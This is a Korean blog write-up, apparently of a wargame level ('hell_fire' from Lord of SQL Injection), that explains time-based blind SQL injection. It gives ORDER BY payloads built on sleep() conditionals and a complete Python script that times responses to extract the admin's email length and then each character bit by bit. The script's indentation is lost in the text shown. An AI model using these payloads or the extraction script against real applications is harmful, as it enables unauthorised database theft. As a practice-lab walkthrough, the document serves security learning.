드디어 table이 시각적으로 출력되기 시작하였다. query문도 order by 를 통하여 정렬하는 query문으로 변경되었다. 문자열 필터링에서 sleep, benchmark 가 빠진 것을 보아 time-based sql injection 에 관한 문제인 것 같다.
Time-Based SQL Injection 이란, query문에 시간을 delay 시키는 함수, sleep/benchmark 등을 사용하여 요청에 대한 응답시간을 의도적으로 지연시키는 방법이다.
어떻게 사용하는 것인가? 우선 문제에 간단하게 테스트해보자.
?order=1
위와 같이 query 를 전달할 경우, 1번 column, 즉 id column 을 기준으로 table 이 정렬된 것을 볼 수 있다. admin 의 email 주소는 php 코드에 의하여 asterisk(*)들로 가려져 있다. 우리는 table에 접근하여 정보를 빼낼 것이기 때문에 blind injection 을 수행하면 된다.
가려져 있는 것은 문제가 되지 않는다.
이제 sleep 함수를 이용하여 의도적으로 응답시간을 어떻게 지연시킬 수 있는지 알아보자. 우선 조건문을 활용할 것이다. 우리가 확인하고 싶은 값을 조건문에 넣고 참일 경우에만 sleep을 시키면서 응답지연을 확인하면 된다.
?order=if(id='admin' and length(email)<100,sleep(3),1)
위와 같이 query를 전달했을 경우, 노란색으로 밑줄 친 영역에 보이듯이 응답시간이 3.17초라는 시간이나 걸린 것을 확인할 수 있다. 의심스러운 부분이 있기 때문에 조건문이 참이 아닐 경우도 해보겠다.
?order=if(id='admin' and length(email)<100,sleep(3),1)
무려 51ms 밖에 소요되지 않았다. 이것으로 우리가 체크해야할 부분은 끝났다고 본다. 기존에 하던대로 email의 length와 Brute Force를 이용한 공격밖에 남지 않았다.
이전 코드와 바뀐게 있다면, 우리는 Time-Based SQL Injection 을 수행할 것이기 때문에 파이썬에서 흔히 쓰는 time이라는 module을 사용하여 페이지 응답시간을 체크할 것이다. 이번에도 bit-by-bit 작업을 할 것이다. 아 그리고 코드를 짜면서 j != 1 이라는 부분이 있는데, 이것은 j=1, 즉 해당 글자가 NULL 값이라는 것을 의미하기 때문에 아래 반복문을 진행할 필요없이 넘기면 되기 때문이다.
# Lord of SQL Injection - hell_fire
import requests
import time
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
start = 0
end = 0
for i in range(0, 100):
payload = "?order=if(id='admin' and length(email)=" + str(i) + ",sleep(1),1)"
start = time.time()
res = session.get(url = org_url + payload, headers=header, verify=False)
end = time.time() - start
if end > 1:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit = ''
password = ''
for i in range(1, pw_length + 1):
for j in range(0, 20):
payload = "?order=if(id='admin' and length(bin(ord(substr(email," + str(i) + ",1))))=" + str(j) + ",sleep(1),1)"
start = time.time()
res = session.get(url = org_url + payload, headers=header, verify=False)
end = time.time() - start
if (end > 1) and (j != 1):
pw_bit_length = j
print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
for k in range(1, j + 1):
payload = "?order=if(id='admin' and substr(bin(ord(substr(email," + str(i) + ",1)))," + str(k) + ",1)=1,sleep(1),1)"
start = time.time()
res = session.get(url = org_url + payload, headers=header, verify=False)
end = time.time() - start
if end > 1:
password_bit += "1"
else:
password_bit += "0"
print(password_bit + "->" + chr(int(password_bit, 2)))
password += chr(int(password_bit, 2))
password_bit = ''
break
# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)
코드에 대한 결과는 다음과 같다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - evil_wizard (0) | 2021.08.26 |
---|---|
Lord of SQL Injection - green_dragon (0) | 2021.08.26 |
Lord of SQL Injection - dark_eyes (0) | 2021.08.24 |
Lord of SQL Injection - iron golem (0) | 2021.08.24 |
Lord of SQL Injection - dragon (0) | 2021.08.22 |